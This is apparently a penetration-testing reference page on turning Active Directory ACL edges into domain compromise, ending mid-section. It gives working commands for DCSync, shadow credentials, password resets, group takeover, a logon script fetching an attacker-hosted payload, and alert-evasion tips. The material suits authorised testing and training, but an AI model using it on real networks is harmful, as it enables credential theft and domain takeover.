acl-and-object-abuse.md (47195B)
1 --- 2 title: "Stage 06 — ACL and Object Abuse" 3 description: "CPTS attack-flow reference for stage 06 — acl and object abuse in an authorised engagement." 4 category: pentest-workflow 5 subcategory: "CPTS Attack Flow" 6 order: 9 7 tags: ["htb", "cpts", "htb-attack-flow", "htb-attack-flow-stage-06", "pentest-workflow"] 8 tools: ["BloodyAD", "PowerView", "Impacket", "BloodHound"] 9 difficulty: advanced 10 updated: "2026-08-29" 11 source: "vault:Pentest Attack Flow/09 - Stage 06 - ACL and Object Abuse.md" 12 --- 13 > [!dashboard] Attack-flow navigation 14 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard) 15 > 16 > **Section:** 09 of 17 · **Focus:** Stage 06 — ACL and Object Abuse 17 > 18 > **Previous:** [Stage 05 — Kerberos Attacks](/sheets/pentest-workflow/kerberos-attacks) · **Next:** [Stage 07 — ADCS and Certificate Abuse](/sheets/pentest-workflow/adcs-and-certificate-abuse) 19 20 --- 21 # 🩸 STAGE 6 — ACL & Object Abuse (BloodHound edges) 22 23 This is where BloodHound edges become shells. **bloodyAD is my driver** — it talks LDAP/LDAPS/SAMR straight to the DC and turns every ACL edge into one write. PowerView (Windows foothold) and Impacket (Linux) are the equivalents when bloodyAD isn't an option. Workflow: collect the graph → click the outbound edge → find it below → copy the one-liner → reverse it in cleanup. 24 25 > [!tools] Stage this 26 > [PowerView.ps1](/downloads/pentest-workflow/PowerView.ps1) ([SHA-256](/downloads/pentest-workflow/PowerView.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/PowerView.ps1.sha256.asc)) — PowerSploit [PowerView](https://github.com/PowerShellMafia/PowerSploit): `Find-InterestingDomainAcl`, `Get-DomainObjectAcl`, `Add-DomainObjectAcl`, `Set-DomainObjectOwner`, `Set-DomainUserPassword`. AMSI-bypass first on modern boxes; SharpView is the C# port if PowerShell is constrained. 27 > [StandIn_v13_Net35_45.zip](/downloads/pentest-workflow/StandIn_v13_Net35_45.zip) ([SHA-256](/downloads/pentest-workflow/StandIn_v13_Net35_45.zip.sha256) · [GPG signature](/downloads/pentest-workflow/StandIn_v13_Net35_45.zip.sha256.asc)) — [StandIn](https://github.com/FuzzySecurity/StandIn): small C# ACE/object manipulator that flies under PowerShell logging — owner/ACE grants, group adds, AS-REP/RBCD flips, LAPS read. 28 > [targetedKerberoast.py](/downloads/pentest-workflow/targetedKerberoast.py) ([SHA-256](/downloads/pentest-workflow/targetedKerberoast.py.sha256) · [GPG signature](/downloads/pentest-workflow/targetedKerberoast.py.sha256.asc)) — [targetedKerberoast](https://github.com/ShutdownRepo/targetedKerberoast): one-shot Linux GenericWrite abuse — sets SPN, roasts, prints hashcat-ready hash. 29 > [Whisker.exe](/downloads/pentest-workflow/Whisker.exe) ([SHA-256](/downloads/pentest-workflow/Whisker.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Whisker.exe.sha256.asc)) — [Whisker](https://github.com/eladshamir/Whisker): Windows-side Shadow Credentials (writes `msDS-KeyCredentialLink`); pair with Rubeus `asktgt /getcredentials` for the PKINIT+UnPAC tail. Linux twin: [pywhisker](https://github.com/ShutdownRepo/pywhisker). 30 > 31 > Link-only drivers: [bloodyAD](https://github.com/CravateRouge/bloodyAD) · [Impacket](https://github.com/fortra/impacket) (`dacledit.py`, `owneredit.py`, `rbcd.py`, `addcomputer.py`) · [NetExec](https://github.com/Pennyw0rth/NetExec) · [autobloody](https://github.com/CravateRouge/autobloody) · [evil-winrm](https://github.com/Hackplayers/evil-winrm). 32 33 > [!note] Auth block for every bloodyAD call 34 > Every command uses `-d "$DOMAIN" -u "$U" -p "$P" --host "$DC"`. Swap `-p "$P"` for `-p ':<NThash>'` to pass-the-hash, add `-k` for Kerberos, `-s` for LDAPS (so writes aren't cleartext). If the DC name won't resolve, add `-i "$IP" --dns "$IP"`. Full auth matrix + verbs in BloodyAD. 35 36 --- 37 38 ## ACE primer — what each edge actually means 39 40 Every BloodHound abuse edge is an ACE in the target's security descriptor. Read this table once, then every section below is just "which write do I get". 41 42 | ACE / BloodHound edge | AD right (GUID family) | What it lets me do | Go-to abuse | 43 | :-- | :-- | :-- | :-- | 44 | **GenericAll** | `RIGHT_GENERIC_ALL` (full control) | Everything: write any attr, rewrite DACL, take ownership | Shadow creds / targeted roast (user) · group add (group) · RBCD (computer) | 45 | **GenericWrite** | `RIGHT_GENERIC_WRITE` | Write most attributes, **not** the DACL, **not** password | Targeted Kerberoast (plant SPN) · shadow creds · logon script · UAC flips | 46 | **WriteDacl** | `WRITE_DAC` | Rewrite the object's DACL | Grant self GenericAll; on domain root → grant DCSync | 47 | **WriteOwner** / **Owns** | `WRITE_OWNER` | Seize ownership → owner always controls the DACL | Own it → grant self GenericAll (two-step WriteDacl) | 48 | **ForceChangePassword** | `User-Force-Change-Password` extended right | Reset password without knowing the old one | `Set-DomainUserPassword` / `bloodyAD set password` (loud) | 49 | **AddMember** / **AddSelf** | Write on group's `member` attribute (AddSelf = validated write, self only) | Add accounts (or just me) to the group | `net group` / `Add-DomainGroupMember` / `bloodyAD add groupMember` | 50 | **AllExtendedRights** | `RIGHT_DS_CONTROL_ACCESS` (all ext. rights) | All extended rights at once | On domain root = DCSync now (no write needed); on user = password reset | 51 | **Self** (validated) | Validated write bound to the object itself | e.g. self-service group membership, SPN self-write | Context-dependent — check which validated write the GUID maps to | 52 | **WriteProperty (SPN)** | Write on `servicePrincipalName` | Set/clear SPNs only | Targeted Kerberoast (plant SPN → roast → remove) | 53 | **WriteProperty (logonscript)** | Write on `scriptPath` | Set a logon script UNC path | Fires at victim's next **interactive** logon | 54 | **WriteProperty (msDS-KeyCredentialLink)** = **AddKeyCredentialLink** | Write key credentials | Shadow Credentials → PKINIT → NT hash, no password touch | 55 | **ReadLAPSPassword** | Read `ms-Mcs-AdmPwd` / `msLAPS-Password` | Read the machine's local admin password | `Get-DomainComputer … ms-mcs-admpwd` / LAPSToolkit (quiet read) | 56 | **ReadGMSAPassword** | Read `msDS-ManagedPassword` | Read a gMSA's current password blob → derive NT hash | DSInternals / gMSADumper (quiet read) | 57 | **DS-Replication-Get-Changes(-All)** | `1131f6aa/1131f6ad/…-9c15-002f18460f81` GUIDs on domain root | Replicate directory data | DCSync — `secretsdump.py` / `mimikatz lsadump::dcsync` (see [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot)) | 58 59 > [!tip] ACE algebra 60 > `GenericAll` ⊇ `GenericWrite` + `WriteDacl` + `WriteOwner` — a GenericAll target is vulnerable to **every** attack listed under the lesser rights. `WriteOwner` → `WriteDacl` → `GenericAll` is the standard promotion chain: owner can always rewrite the DACL regardless of what the DACL says. 61 > 62 > Two rights deserve special attention because they hide in plain sight: 63 > - **`Self`** is meaningless until you resolve the `ObjectAceType` GUID — it might be "add self to group" (gold) or "write my own phone number" (nothing). `Get-DomainObjectAcl -ResolveGUIDs` or `dacledit.py -action read` will tell you. 64 > - **`ReadLAPSPassword`/`ReadGMSAPassword`** never appear as "dangerous" in some collectors but are pure credential theft with zero modification events — always check inbound *read* edges, not just write edges. 65 66 --- 67 68 ## Reading ACLs — find the edge before you swing it 69 70 ```bash 71 # BloodHound CE collection (the graph IS the ACL map) — see Stage 04 for collector options 72 bloodhound-python -d "$DOMAIN" -u "$U" -p "$P" -ns "$IP" -c All --zip 73 # nxc one-liner collector: 74 nxc ldap "$IP" -u "$U" -p "$P" --bloodhound -c All --dns-server "$IP" 75 76 # bloodyAD: everything I can write to — start here 77 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" get writable --detail 78 79 # which ACEs I actually hold on a target (Owner / WriteDacl / GenericWrite / GenericAll) 80 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" get object victim --resolve-sd 81 ``` 82 83 ```bash 84 # Impacket equivalents 85 findDelegation.py "$DOMAIN"/"$U":"$P" -dc-ip "$IP" # delegation edges 86 dacledit.py -action read -target victim "$DOMAIN"/"$U":"$P" -dc-ip "$IP" # raw DACL dump 87 88 # nxc — quick delegation + group context sweeps 89 nxc ldap "$IP" -u "$U" -p "$P" --find-delegation 90 nxc ldap "$IP" -u "$U" -p "$P" -M get-desc-users # stray creds while you're here 91 ``` 92 93 ```powershell 94 # PowerView (Windows foothold) — the classic enumeration trio 95 Find-InterestingDomainAcl -ResolveGUIDs | ? { $_.IdentityReferenceName -match "$env:USERNAME" } 96 Get-DomainObjectAcl -Identity victim -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match 'GenericAll|WriteDacl|WriteOwner|GenericWrite' } 97 # domain-root replication rights (who can DCSync already?) 98 Get-DomainObjectAcl -Identity 'DC=corp,DC=local' -ResolveGUIDs | 99 ? { $_.ObjectAceType -match 'Replicating' } 100 ``` 101 102 **BloodHound Cypher — outbound object control from my user:** 103 ```cypher 104 MATCH p=(n {name:'YOU@DOMAIN.LOCAL'})-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword|AddMember|AllExtendedRights]->(m) RETURN p 105 // and the money query — shortest path to DA: 106 MATCH p=shortestPath((n {name:'YOU@DOMAIN.LOCAL'})-[*1..]->(m {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})) RETURN p 107 ``` 108 109 > [!tip] Don't trust one source 110 > BloodHound edges are a snapshot — re-confirm the ACE with `bloodyAD get object victim --resolve-sd` or `dacledit.py -action read` before burning a write. Stale graph data is the #1 cause of "the one-liner didn't work". Group membership changes also take effect only on next logon/TGT — bloodyAD re-authenticates per call, PowerView/klist sessions don't. 111 112 --- 113 114 ## Edge → command quick index 115 116 | BloodHound edge | bloodyAD one-liner | PowerView / Impacket equivalent | 117 | :-- | :-- | :-- | 118 | Owns / WriteOwner | `set owner victim "$U"` → `add genericAll victim "$U"` | `Set-DomainObjectOwner` / `owneredit.py` → `dacledit.py` | 119 | WriteDacl | `add genericAll victim "$U"` (or `add dcsync "$U"` on domain) | `Add-DomainObjectAcl` / `dacledit.py -rights FullControl\|DCSync` | 120 | GenericAll (user) | `add shadowCredentials victim` | `certipy shadow auto` / `pywhisker` / `Whisker.exe` | 121 | GenericAll (group) | `add groupMember 'Domain Admins' "$U"` | `Add-DomainGroupMember` / `ldap_shell` | 122 | GenericAll (computer) | `add rbcd 'TARGET$' 'ATTACKER$'` | `rbcd.py -action write` / shadow creds on `TARGET$` | 123 | GenericWrite | `set object victim servicePrincipalName -v 'HTTP/x'` | `Set-DomainObject -Set @{serviceprincipalname=…}` / `targetedKerberoast.py` | 124 | ForceChangePassword | `set password victim 'Newpass123!'` | `Set-DomainUserPassword` / `net rpc password` | 125 | AddSelf / AddMember | `add groupMember 'Domain Admins' "$U"` | `Add-DomainGroupMember` / `net group "Domain Admins" $U /add /domain` | 126 | AddKeyCredentialLink | `add shadowCredentials victim` | `certipy shadow auto` / `pywhisker` | 127 | AllExtendedRights / DCSync | `add dcsync "$U"` → `secretsdump.py` | `dacledit.py -rights DCSync` → `secretsdump.py` | 128 | AddAllowedToAct | `add rbcd 'TARGET$' 'ATTACKER$'` | `rbcd.py -action write` | 129 | ReadLAPSPassword | `get object TARGET$ --attr msLAPS-Password` | `Get-DomainComputer … ms-mcs-admpwd` / `nxc ldap --laps` | 130 | ReadGMSAPassword | `get object gmsa$ --attr msDS-ManagedPassword` | DSInternals `Get-ADReplAccount` / `gMSADumper.py` | 131 132 --- 133 134 ### Owns / WriteOwner 135 136 **What to look for:** an `Owns` or `WriteOwner` edge to a user/group/computer. The owner can always rewrite the DACL, so this is full control in two steps. 137 138 **Exploit:** 139 140 ```bash 141 # 1. take ownership 142 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set owner victim "$U" 143 # 2. grant myself GenericAll — now do any GenericAll attack below 144 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add genericAll victim "$U" 145 ``` 146 147 ```bash 148 # Impacket equivalent 149 owneredit.py -action write -new-owner "$U" -target victim "$DOMAIN"/"$U":"$P" -dc-ip "$IP" 150 dacledit.py -action write -rights FullControl -principal "$U" -target victim "$DOMAIN"/"$U":"$P" -dc-ip "$IP" 151 ``` 152 153 ```powershell 154 # PowerView equivalent 155 Set-DomainObjectOwner -Identity victim -OwnerIdentity $U 156 Add-DomainObjectAcl -TargetIdentity victim -PrincipalIdentity $U -Rights All 157 ``` 158 159 > [!warning] Watch out 160 > `set owner` is **not** rolled back by autobloody and leaves a durable IOC (4670/5136). Note the original owner (`owneredit.py -action read`) and hand it back in cleanup. On `adminCount=1` targets the grant is reverted by SDProp within 60 min — act fast, or backdoor AdminSDHolder instead. 161 162 --- 163 164 ### WriteDacl 165 166 **What to look for:** a `WriteDacl` edge. Grant yourself full control on the object — or, if the edge is on the **domain root**, grant yourself DCSync. 167 168 **Exploit:** 169 170 ```bash 171 # grant self full control over the object 172 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add genericAll victim "$U" 173 174 # WriteDacl on the DOMAIN object → grant DCSync, then replicate 175 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add dcsync "$U" 176 secretsdump.py "$DOMAIN"/"$U":"$P"@"$IP" 177 ``` 178 179 ```bash 180 # Impacket equivalent — SNAPSHOT FIRST (see OPSEC section), then write 181 dacledit.py -action backup -target-dn "DC=${DOMAIN%%.*},DC=${DOMAIN#*.}" "$DOMAIN"/"$U":"$P" -dc-ip "$IP" 182 dacledit.py -action write -rights DCSync -principal "$U" -target-dn "DC=${DOMAIN%%.*},DC=${DOMAIN#*.}" "$DOMAIN"/"$U":"$P" -dc-ip "$IP" 183 # ...dump, then restore: 184 dacledit.py -action restore -file dacledit-*.bak "$DOMAIN"/"$U":"$P" -dc-ip "$IP" 185 ``` 186 187 ```powershell 188 # PowerView equivalent 189 Add-DomainObjectAcl ` 190 -TargetIdentity 'DC=corp,DC=local' ` 191 -PrincipalIdentity $U ` 192 -Rights DCSync 193 ``` 194 195 > [!warning] Watch out 196 > Leaving DCSync on a low-priv user is a permanent IOC. **Always** `remove dcsync "$U"` after you've dumped. WriteDacl → DCSync is the single most common ACL escalation — many envs don't even audit 4662/5136, but assume they do. 197 198 --- 199 200 ### GenericAll 201 202 **What to look for:** the nuclear edge — superset of GenericWrite + WriteDacl + WriteOwner. Pick the exploit by target type. 203 204 **Exploit:** 205 206 ```bash 207 # USER → recover NT hash via shadow creds (quiet, reversible) — preferred 208 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials victim 209 210 # USER → reset password (loud, breaks their logon) 211 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set password victim 'Newpass123!' 212 213 # USER → targeted Kerberoast (works without PKINIT/ADCS) 214 python3 targetedKerberoast.py -d "$DOMAIN" -u "$U" -p "$P" --only-abuse --dc-ip "$IP" 215 216 # GROUP → add myself 217 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add groupMember 'Domain Admins' "$U" 218 219 # COMPUTER → option A: RBCD (see delegation below) 220 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add rbcd 'TARGET$' 'ATTACKER$' 221 # COMPUTER → option B: shadow credentials on the machine account → its NT hash → local admin 222 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials 'TARGET$' 223 ``` 224 225 **Windows-foothold equivalent (Whisker.exe — staged above):** 226 227 ```powershell 228 # add a key credential to the target (user or computer) 229 .\Whisker.exe add /target:victim /domain:$DOMAIN /dc:$DC 230 # -> note the DeviceID for cleanup; Whisker prints a ready-made Rubeus command: 231 .\Rubeus.exe asktgt /user:victim /certificate:<Base64PFX> /password:"<pfxpass>" /domain:$DOMAIN /dc:$DC /getcredentials /show /nowrap 232 # cleanup: .\Whisker.exe remove /target:victim /deviceid:<DeviceID> 233 ``` 234 235 > [!tip] GenericAll on a GROUP → cascade 236 > Add yourself to a group that holds GenericWrite over service accounts, then shadow-cred each member — all in bloodyAD. It re-authenticates on every call, so the new membership (and its inherited rights) is live on the very next command with no re-login. This is the Fluffy chain: `add groupMember 'Service Accounts' "$U"` → `add shadowCredentials winrm_svc` → `add shadowCredentials ca_svc`. 237 238 > [!warning] Watch out 239 > Since GenericAll ⊇ GenericWrite, every [GenericWrite](#genericwrite) attack (targeted Kerberoast, logon script, AS-REP) also works on this target. On a computer target, RBCD needs `ms-DS-MachineAccountQuota > 0` to create `ATTACKER$`; shadow creds on `TARGET$` don't (no new object needed). 240 241 --- 242 243 ### GenericWrite 244 245 **What to look for:** write to (most) attributes but **not** the DACL. No password reset — but you can plant an SPN, a Key Credential, a logon script, or flip a UAC flag. 246 247 **Exploit:** 248 249 ```bash 250 # Targeted Kerberoast — Linux one-shot (staged above): plant SPN → roast → auto-cleanup 251 python3 targetedKerberoast.py -d "$DOMAIN" -u "$U" -p "$P" --dc-ip "$IP" 252 # -v verbose · --only-abuse only roast objects I control · --no-cleanup skip SPN removal (don't) 253 hashcat -m 13100 roast.txt rockyou.txt 254 255 # Manual equivalent — plant SPN → roast → REMOVE THE SPN (always) 256 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set object victim servicePrincipalName -v 'HTTP/fake.'"$DOMAIN" 257 GetUserSPNs.py "$DOMAIN"/"$U":"$P" -dc-ip "$IP" -request-user victim -outputfile roast.txt 258 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set object victim servicePrincipalName # cleanup (omit -v = clear) 259 260 # Shadow credentials (also reachable via GenericWrite) — best route if ADCS/PKINIT present 261 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials victim 262 263 # Targeted AS-REP roast — set DONT_REQ_PREAUTH → grab AS-REP → unset 264 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add uac victim -f DONT_REQ_PREAUTH 265 GetNPUsers.py "$DOMAIN"/victim -no-pass -dc-ip "$IP" -format hashcat -outputfile asrep.hash 266 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" remove uac victim -f DONT_REQ_PREAUTH 267 268 # Logon-script abuse — fires at victim's next INTERACTIVE logon 269 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set object victim scriptPath -v '\\'"$LHOST"'\share\run.bat' 270 ``` 271 272 ```powershell 273 # PowerView equivalent from a Windows foothold 274 Set-DomainObject -Identity victim -Set @{ 275 serviceprincipalname = 'fake/kerberoast' 276 } 277 .\Rubeus.exe kerberoast /user:victim /outfile:roast.txt 278 Set-DomainObject -Identity victim -Clear serviceprincipalname 279 ``` 280 281 ```powershell 282 # StandIn (staged above) — when PowerShell logging/AMSI is a problem 283 .\StandIn.exe --object samaccountname=victim --set spn "HTTP/fake.$DOMAIN" 284 .\StandIn.exe --object samaccountname=victim --remove spn 285 .\StandIn.exe --object samaccountname=victim --asrep # flip DONT_REQ_PREAUTH 286 ``` 287 288 > [!warning] Watch out 289 > GenericWrite does **not** include `User-Force-Change-Password` — you cannot reset the password with it. Use shadow creds or Kerberoast. `scriptPath` only fires on an **interactive** logon, so it's useless against a service account that never touches a desktop. GenericWrite on a **group** ≠ AddMember — you need GenericAll/AddMember for that. A planted SPN left behind is a trivial IOC (`setspn -Q` / BloodHound) — remove it the moment the TGS lands. 290 291 **WriteProperty variants (scoped writes):** a `WriteProperty` ACE limited to one attribute is just GenericWrite with blinders. Read the ACE's `ObjectAceType` GUID (`-ResolveGUIDs`) to know which attribute you can touch: 292 293 | WriteProperty target | Abuse | Notes | 294 | :-- | :-- | :-- | 295 | `servicePrincipalName` | Targeted Kerberoast (set → roast → clear) | Also granted by the `Self` validated-write on some objects | 296 | `scriptPath` (logon script) | UNC path to a payload; fires at interactive logon | Pair with a Responder/SMB capture share if execution is slow | 297 | `msDS-KeyCredentialLink` | Shadow Credentials | See dedicated section | 298 | `userAccountControl` | Flip `DONT_REQ_PREAUTH` (AS-REP roast) or delegation flags | Revert with `remove uac` | 299 | `member` (on a group) | AddMember | See dedicated section | 300 | `msDS-AllowedToActOnBehalfOfOtherIdentity` | RBCD | See delegation section | 301 302 --- 303 304 ### ForceChangePassword 305 306 **What to look for:** the `User-Force-Change-Password` extended right — reset the password without knowing the old one. Single-purpose, but one reset of a DA/service account = domain. 307 308 **Exploit:** 309 310 ```bash 311 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set password victim 'Newpass123!' 312 ``` 313 314 ```bash 315 # Samba/RPC equivalents from Linux 316 rpcclient -U "$DOMAIN/$U%$P" "$DC" -c "setuserinfo2 victim 23 Newpass123!" 317 net rpc password victim 'Newpass123!' -U "$DOMAIN/$U%$P" -S "$DC" 318 ``` 319 320 ```powershell 321 # PowerView equivalent 322 $NewPassword = ConvertTo-SecureString 'Newpass123!' -AsPlainText -Force 323 Set-DomainUserPassword -Identity victim -AccountPassword $NewPassword 324 ``` 325 326 > [!tip] Prefer the quiet alternative 327 > If the same edge set also gives you GenericWrite/GenericAll on the victim, **skip the reset** — shadow credentials get you the NT hash (and a cert) without touching `unicodePwd`. The victim keeps working, no 4724 fires, and there's nothing to "change back" beyond removing a DeviceID. ForceChangePassword is the fallback for environments without PKINIT where roasting failed (strong password). 328 329 ```bash 330 # the quiet alternative in one line (requires PKINIT) 331 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials victim 332 ``` 333 334 > [!warning] Watch out 335 > Password reset is the **loudest** ACL attack — the victim is locked out instantly and it fires **4724**. If you also hold GenericWrite/GenericAll, prefer shadow credentials (original password keeps working). If you must reset, note the box owner and reset back on an engagement. Also: resetting an account used by a running service breaks the service — check `servicePrincipalName` and logon events before you swing. 336 337 --- 338 339 ### AddSelf / AddMember 340 341 **What to look for:** write to the group's `member` attribute (`AddSelf` = you may only add yourself). Instant escalation if it's a privileged group. 342 343 **Exploit:** 344 345 ```bash 346 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add groupMember 'Domain Admins' "$U" 347 # verify + cleanup 348 nxc smb "$IP" -u "$U" -p "$P" -x "whoami /groups" 349 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" remove groupMember 'Domain Admins' "$U" 350 ``` 351 352 ```powershell 353 # Windows equivalents 354 net group "Domain Admins" $U /add /domain 355 Add-DomainGroupMember -Identity 'Domain Admins' -Members $U # PowerView 356 .\StandIn.exe --group "Domain Admins" --add $U # StandIn 357 # cleanup: net group "Domain Admins" $U /del /domain 358 ``` 359 360 ```bash 361 # Impacket / Linux equivalents 362 # ldap_shell: add_user_to_group me "Domain Admins" 363 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" get group 'Domain Admins' --attr member # verify before/after 364 ``` 365 366 > [!tip] Grab what you need, then leave 367 > If I add myself to Domain Admins, I DCSync the KRBTGT hash immediately, then `remove groupMember` — the shorter the membership window (4728/4756), the less likely the alert lands. Membership isn't live for tools that cache a TGT — request a fresh ticket (`klist purge` / new `getTGT.py`) or use bloodyAD which re-auths per call. 368 > 369 > AddSelf vs AddMember: with `AddSelf` you can only add *yourself* — no staging a second backdoor account. Plan your single seat accordingly. 370 371 --- 372 373 ### ReadLAPSPassword / ReadGMSAPassword — quiet reads 374 375 **What to look for:** read rights on `ms-Mcs-AdmPwd` (legacy LAPS), `msLAPS-Password` (Windows LAPS) on a computer, or `msDS-ManagedPassword` on a gMSA. These are **reads, not writes** — no modification events, just directory access (4662 if SACLs exist at all). Best-value edges in the graph. 376 377 ```powershell 378 # PowerView — legacy LAPS 379 Get-DomainComputer -Identity TARGET -Properties ms-mcs-admpwd,ms-mcs-admpwdexpirationtime 380 # LAPSToolkit: Get-LAPSComputers | findstr TARGET · SharpLAPS.exe 381 ``` 382 383 ```bash 384 # Linux / nxc — one shot, also checks readability automatically 385 nxc ldap "$IP" -u "$U" -p "$P" -M laps # or --laps on newer builds 386 # gMSA password blob → NT hash 387 python3 gMSADumper.py -u "$U" -p "$P" -d "$DOMAIN" -l "$IP" 388 # bloodyAD raw read 389 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" get object 'gmsa_svc$' --attr msDS-ManagedPassword 390 ``` 391 392 ```powershell 393 # DSInternals — gMSA blob → NT hash from a Windows foothold 394 $blob = (Get-ADServiceAccount -Identity gmsa_svc -Properties msDS-ManagedPassword).'msDS-ManagedPassword' 395 $mp = ConvertFrom-ADManagedPasswordBlob $blob 396 ConvertTo-NTHash $mp.SecureCurrentPassword 397 ``` 398 399 > [!tip] OPSEC — reads are quiet, writes are loud 400 > LAPS/gMSA reads touch nothing on the target and fire no object-modification events — at worst a 4662 on the DC *if* the attribute SACL is audited (rare). Compare with a password reset (4724) or group add (4728). When the graph offers both a read and a write path to the same host, take the read every time. 401 402 --- 403 404 ### AllExtendedRights / DCSync 405 406 **What to look for:** `AllExtendedRights` on the **domain root** means you already *hold* `DS-Replication-Get-Changes(-All)` — DCSync with **no** DACL modification needed. On a user it grants `User-Force-Change-Password`. 407 408 **Exploit:** 409 410 ```bash 411 # domain root → replicate straight away (you already have the right) 412 secretsdump.py "$DOMAIN"/"$U":"$P"@"$IP" -just-dc-user krbtgt 413 secretsdump.py "$DOMAIN"/"$U":"$P"@"$IP" # full dump 414 415 # only need to GRANT it? (WriteDacl on domain) — then dump, then remove 416 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add dcsync "$U" 417 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" remove dcsync "$U" 418 ``` 419 420 ```powershell 421 # mimikatz on a DC-adjacent foothold (same rights, no Linux needed) 422 lsadump::dcsync /domain:$DOMAIN /user:krbtgt 423 ``` 424 425 > [!warning] Watch out 426 > `AllExtendedRights` differs from `WriteDacl`: no need to *add* the right, you already **have** it — don't waste a noisy `dacledit` write. Replication fires **4662**; a low-priv account DCSyncing is a screaming signature, so grab KRBTGT + targets and get out. What to do with the dumped hashes (PtH, golden ticket, offline crack): [Stage 10 — Lateral Movement](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot). Deep dive: 🟡 Attack. 427 > 428 > Practical order of operations on the domain root: 429 > 1. `secretsdump.py … -just-dc-user krbtgt` — krbtgt first (golden ticket capability). 430 > 2. Then the specific DA/service accounts you actually need. 431 > 3. Only then, if required, the full dump — every additional replicated attribute widens the 4662 footprint. 432 433 --- 434 435 ### Shadow Credentials (AddKeyCredentialLink) 436 437 **What to look for:** write to `msDS-KeyCredentialLink` (via GenericWrite / GenericAll / WriteDacl / AddKeyCredentialLink) with **PKINIT/ADCS present** and DFL 2016+. Stealthiest takeover — no password change, survives resets. 438 439 **Exploit:** 440 441 ```bash 442 # bloodyAD does the WHOLE attack: adds the key, does PKINIT, PRINTS the NT hash — no Certipy needed 443 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials victim 444 # [+] NT hash via PKINIT: a9285c625af80519ad784729655ff325 445 446 # save the recovered TGT/pfx to a path, then clean up the key 447 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials victim --path /tmp/victim 448 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" remove shadowCredentials victim 449 450 # log in with the recovered hash (winrm_svc example) 451 evil-winrm -i "$DC" -u victim -H a9285c625af80519ad784729655ff325 452 ``` 453 454 ```bash 455 # Certipy equivalent (full auto: add key → PKINIT → hash) 456 certipy-ad shadow auto -u "$U"@"$DOMAIN" -p "$P" -account victim -dc-ip "$IP" -dc-host "$DC" 457 458 # pyWhisker + certipy auth (two-step) 459 pywhisker.py -d "$DOMAIN" -u "$U" -p "$P" --target victim --action add --dc-ip "$IP" 460 certipy-ad auth -pfx victim.pfx -dc-ip "$IP" 461 # cleanup: pywhisker.py … --action remove --device-id <id> 462 463 # works on COMPUTER objects too → machine account hash → often local admin on that box 464 certipy-ad shadow auto -u "$U"@"$DOMAIN" -p "$P" -account 'TARGET$' -dc-ip "$IP" -dc-host "$DC" 465 ``` 466 467 Windows foothold: use Whisker.exe + Rubeus (staged at top — see the GenericAll section for exact commands). 468 469 > [!warning] Watch out 470 > PKINIT is Kerberos: use the **DC FQDN** (`--host "$DC"`, not the IP), and if the DC clock is skewed prefix `faketime -f '+7h' …` — this is the exact gotcha on boxes like Fluffy. Fails with no ADCS/WHfB or on pre-2016 schema. Writes fire **5136** on `msDS-KeyCredentialLink`; remove the DeviceID after. Full detail: Shadow Credentials — msDS-KeyCredentialLink Abuse. 471 472 --- 473 474 ### Delegation abuse (RBCD / Constrained / Unconstrained) 475 476 #### RBCD (AddAllowedToAct, or GenericWrite/GenericAll on a computer) 477 478 **What to look for:** write to `msDS-AllowedToActOnBehalfOfOtherIdentity` on a computer → impersonate anyone to a service on it. Needs `MAQ > 0` to create a controlled machine. 479 480 **Exploit:** 481 482 ```bash 483 # 1. create a computer I control (MAQ default = 10) 484 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add computer ATTACKER '$Passw0rd123' 485 # 2. set the RBCD trust on the target computer 486 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add rbcd 'TARGET$' 'ATTACKER$' 487 # 3. S4U → impersonation ticket for Administrator to the target 488 getST.py -spn cifs/target."$DOMAIN" -impersonate Administrator "$DOMAIN"/'ATTACKER$':'$Passw0rd123' -dc-ip "$IP" 489 # 4. use it, then clean up 490 export KRB5CCNAME=Administrator@cifs_target.${DOMAIN}@${DOMAIN^^}.ccache 491 psexec.py -k -no-pass "$DOMAIN"/Administrator@target."$DOMAIN" 492 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" remove rbcd 'TARGET$' 'ATTACKER$' 493 ``` 494 495 ```bash 496 # Impacket-only 